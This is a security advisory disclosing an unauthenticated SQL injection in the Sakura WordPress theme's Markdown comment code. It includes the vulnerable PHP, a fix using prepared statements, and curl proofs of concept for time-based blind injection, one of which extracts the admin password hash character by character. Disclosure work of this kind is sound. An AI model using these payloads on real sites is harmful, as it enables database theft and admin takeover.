| Field | Value |
|---|---|
| Ecosystem | WordPress Theme |
| Package/Product | Sakura WordPress Theme |
| Affected Versions | All versions through commit 9a7a597 |
| Patched Versions | None |
| Severity | CRITICAL (CVSS 9.8) |
| CWE | CWE-89 (SQL Injection) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Repository | https://github.com/mashirozx/sakura |
| Stars | 3,816 ⭐ |
The Sakura WordPress theme contains an unauthenticated SQL injection vulnerability in its Markdown comment parser. Raw, unsanitized comment content is stored in a global variable during the preprocess_comment filter and later concatenated directly into a SQL UPDATE query without using $wpdb->prepare().
| Field | Value |
|---|---|
| Ecosystem | WordPress Theme |
| Package | mashirozx/sakura |
| Vendor | mashirozx |
| Affected Versions | All |
| Patched Versions | None |
| File | functions.php, lines 1803–1889 |
The Sakura theme adds Markdown support to WordPress comments via two hooks:
preprocess_comment—markdown_parser()captures raw$_POST['comment']content into global$comment_markdown_contentcomment_post—save_markdown_comment()writes this raw content to the database via unsafe SQL
Vulnerable code (functions.php, lines 1804–1835):
// Hook 1: Captures RAW user input before WordPress sanitization
function markdown_parser($incoming_comment) {
global $wpdb, $comment_markdown_content;
// ❌ Stores raw unsanitized comment content in global variable
$comment_markdown_content = $incoming_comment['comment_content'];
// ... markdown rendering ...
return $incoming_comment;
}
add_filter('preprocess_comment', 'markdown_parser');
// Hook 2: Uses raw content directly in SQL query
function save_markdown_comment($comment_ID, $comment_approved) {
global $wpdb, $comment_markdown_content;
$comment_content = $comment_markdown_content; // ← RAW USER INPUT
// ❌ Direct string interpolation — NO $wpdb->prepare()!
$wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content .
"' WHERE comment_ID='" . $comment_ID . "';");
}
add_action('comment_post', 'save_markdown_comment', 10, 2);Environment: WordPress 6.x with Sakura theme activated, comments enabled.
Exploit:
PoC #1 — Time-Based Blind SQL Injection (universal):
# Confirm vulnerability by inducing 5-second delay via WHERE clause
curl -X POST "http://target/wp-comments-post.php" \
--data "comment=test', comment_ID=SLEEP(5) -- " \
--data "author=Attacker" \
--data "email=attacker@evil.com" \
--data "comment_post_ID=1" \
--data "submit=Post+Comment"
# Response delay of 5+ seconds confirms blind SQL injectionPoC #2 — Time-Based Blind Data Extraction (credential harvest):
Note:
$wpdb->query()usesmysqli_query()internally, which does not support stacked (multi-statement) queries. Data extraction is performed via time-based blind injection within a single UPDATE statement.
# Extract admin password hash character by character
# If first char of wp_users.user_pass (ID=1) equals '$', response delays 5s
curl -X POST "http://target/wp-comments-post.php" \
--data "comment=test', comment_ID=IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \
--data "author=Attacker" \
--data "email=attacker@evil.com" \
--data "comment_post_ID=1" \
--data "submit=Post+Comment"
# 5-second delay = first char matches; iterate over all positions to rebuild full hash
# Full hash can then be cracked offline (WordPress uses phpass MD5)What happens:
-
markdown_parser()fires onpreprocess_comment— stores raw comment in$comment_markdown_content(before WordPress sanitization) -
WordPress sanitizes and inserts the comment into
wp_commentstable -
save_markdown_comment()fires oncomment_post— executes the UNSANITIZED content:PoC #1 — Blind confirmation:
UPDATE wp_comments SET comment_markdown='test', comment_ID=SLEEP(5) -- ' WHERE comment_ID='123';
Result: 5-second delay confirms SQL injection is exploitable.
PoC #2 — Credential extraction (iterative):
UPDATE wp_comments SET comment_markdown='test', comment_ID=IF( SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0 ) -- ' WHERE comment_ID='123';
Result: Attacker iterates character-by-character to extract admin password hash, which can be cracked offline (WordPress uses phpass/MD5).
Why stacked queries fail:
$wpdb->query()internally callsmysqli_query(), which does NOT support multiple statements separated by;. Time-based blind injection reliably extracts data within a single UPDATE statement.
| CIA | Level | Description |
|---|---|---|
| Confidentiality | HIGH | Extract all WordPress user data, password hashes, emails via subquery exfiltration |
| Integrity | HIGH | Extract admin password hash → crack offline → full admin access → modify any content |
| Availability | HIGH | Admin access gained via credential chain enables deletion of all site content |
Attack scenario:
- Unauthenticated attacker posts a comment with SQL injection payload
- Raw payload bypasses WordPress sanitization via the
preprocess_commenthook - SQL injection executes with full database privileges
- Attacker gains admin access, exfiltrates user data, or destroys the database
Replace string interpolation with $wpdb->prepare():
- $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content .
- "' WHERE comment_ID='" . $comment_ID . "';");
+ $wpdb->query($wpdb->prepare(
+ "UPDATE {$wpdb->comments} SET comment_markdown = %s WHERE comment_ID = %d",
+ $comment_content,
+ $comment_ID
+ ));Also use $wpdb->comments instead of hardcoded wp_comments to support custom table prefixes.
| Type | URL |
|---|---|
| Repository | https://github.com/mashirozx/sakura |
| Vulnerable code | https://github.com/mashirozx/sakura/blob/master/functions.php#L1834 |
| WordPress $wpdb->prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
Vulnerability confirmed via local code audit on 2026-06-27:
git clone https://github.com/mashirozx/sakura
cd sakura
# Confirm SQL injection at line 1834:
grep -n "wpdb->query.*UPDATE.*comment_markdown" functions.php
# Output: 1834: $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . "' WHERE comment_ID='" . $comment_ID . "';");
# Confirm NO prepared statements used anywhere:
grep -c "wpdb->prepare" functions.php
# Output: 0
# Confirm raw input source:
grep -n "comment_markdown_content.*incoming_comment" functions.php
# Output: 1818: $comment_markdown_content = $incoming_comment['comment_content'];
# Confirm vulnerable hooks:
grep "preprocess_comment\|comment_post" functions.php
# Output: add_filter('preprocess_comment', 'markdown_parser');
# add_action('comment_post', 'save_markdown_comment', 10, 2);Verification status: ✅ ALL CHECKS PASSED
| Role | Name |
|---|---|
| Finder | Fatullayev Asadbek |
| Reporter | Fatullayev Asadbek |
| GitHub | Kimdir01 |
| Date | Event |
|---|---|
| 2026-06-27 | Vulnerability discovered via source code analysis |
| 2026-06-27 | Local verification — git clone + code audit confirmed |
| 2026-06-27 | Vendor notified via GitHub Security Advisory (private disclosure) |
| TBD | Vendor acknowledgment / response |
| TBD + 90 days | Coordinated public disclosure (standard responsible disclosure window) |
| TBD | CVE ID assigned and advisory published |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL
AV:N — Remote over HTTP (anyone can post a comment)
AC:L — Simple POST request
PR:N — No authentication (comments are public)
UI:N — No user interaction
S:U — Same security context
C:H — Read any database table
I:H — Modify any database table
A:H — DROP/DELETE possible